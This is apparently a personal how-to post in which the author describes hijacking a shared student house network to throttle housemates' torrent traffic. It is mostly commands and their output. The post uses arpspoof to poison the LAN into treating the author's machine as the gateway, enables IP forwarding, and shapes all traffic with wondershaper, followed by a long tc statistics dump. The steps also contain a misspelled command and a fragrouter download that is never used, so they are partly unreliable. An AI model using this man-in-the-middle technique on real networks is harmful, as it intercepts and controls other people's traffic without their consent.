Traffic Shaping

Force shaping onto someone else's network

Here's a quick-and-dirty guide to how I hijacked my home network when I lived with some other students to force traffic shaping onto the entire network, since two of my housemates had gone away for the weekend and left their torrent clients running.

# Install fragrouter
wget https://launchpad.net/ubuntu/hoary/+source/fragrouter/1.6-2.2/+files/fragrouter_1.6.orig.tar.gz
wget https://launchpad.net/ubuntu/hoary/+source/fragrouter/1.6-2.2/+files/fragrouter_1.6-2.2.diff.gz
tar zxvf fragrouter_1.6.orig.tar.gz
cd fragrouter-1.6/
zcat ../fragrouter_1.6-2.2.diff.gz | patch
sudo apt-get install dsniff	# Install arpspoof / tcpdump et al
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward	# Enable IP forwarding
route -n # Find gateway IP
   Kernel IP routing table
   Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
   192.168.1.0     0.0.0.0         255.255.255.0   U     1      0        0 eth0
   169.254.0.0     0.0.0.0         255.255.0.0     U     1000   0        0 eth0
   0.0.0.0         192.168.1.254   0.0.0.0         UG    0      0        0 eth0
sudo arpsoof 192.168.1.254 # Poison network to think we're the gateway
# Open a new terminal
sudo apt-get install wondershaper
sudo wondershaper eth0 $((8273*8*1024)) $((1209*8*1024)) # Configure eth0 with 8MBit downlink and 1MBit uplink (converting kB to kbit, and using numbers from my ADSL router web-interface)
wondershaper eth0
    qdisc cbq 1: root rate 10000Kbit (bounded,isolated) prio no-transmit
     Sent 789925764 bytes 2324442 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
      borrowed 0 overactions 0 avgidle 781 undertime 0
    qdisc sfq 10: parent 1:10 limit 127p quantum 1514b perturb 10sec
     Sent 72932324 bytes 1002607 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
    qdisc sfq 20: parent 1:20 limit 127p quantum 1514b perturb 10sec
     Sent 716598100 bytes 1312423 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
    qdisc sfq 30: parent 1:30 limit 127p quantum 1514b perturb 10sec
     Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
    qdisc ingress ffff: parent ffff:fff1 ----------------
     Sent 742688346 bytes 2210761 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
    class cbq 1: root rate 10000Kbit (bounded,isolated) prio no-transmit
     Sent 395340 bytes 9412 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
      borrowed 0 overactions 0 avgidle 781 undertime 0
    class cbq 1:1 parent 1: rate 9904Mbit (bounded,isolated) prio 5
     Sent 789530142 bytes 2315028 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
      borrowed 0 overactions 0 avgidle 781 undertime 0
    class cbq 1:10 parent 1:1 leaf 10: rate 9904Mbit prio 1
     Sent 72932270 bytes 1002606 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
      borrowed 0 overactions 0 avgidle 781 undertime 0
    class cbq 1:20 parent 1:1 leaf 20: rate 8914Mbit prio 2
     Sent 716597872 bytes 1312422 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
      borrowed 0 overactions 0 avgidle 781 undertime 0
    class cbq 1:30 parent 1:1 leaf 30: rate 7923Mbit prio 2
     Sent 0 bytes 0 pkt (dropped 0, overlimits 0 requeues 0)
     rate 0bit 0pps backlog 0b 0p requeues 0
      borrowed 0 overactions 0 avgidle 781 undertime 0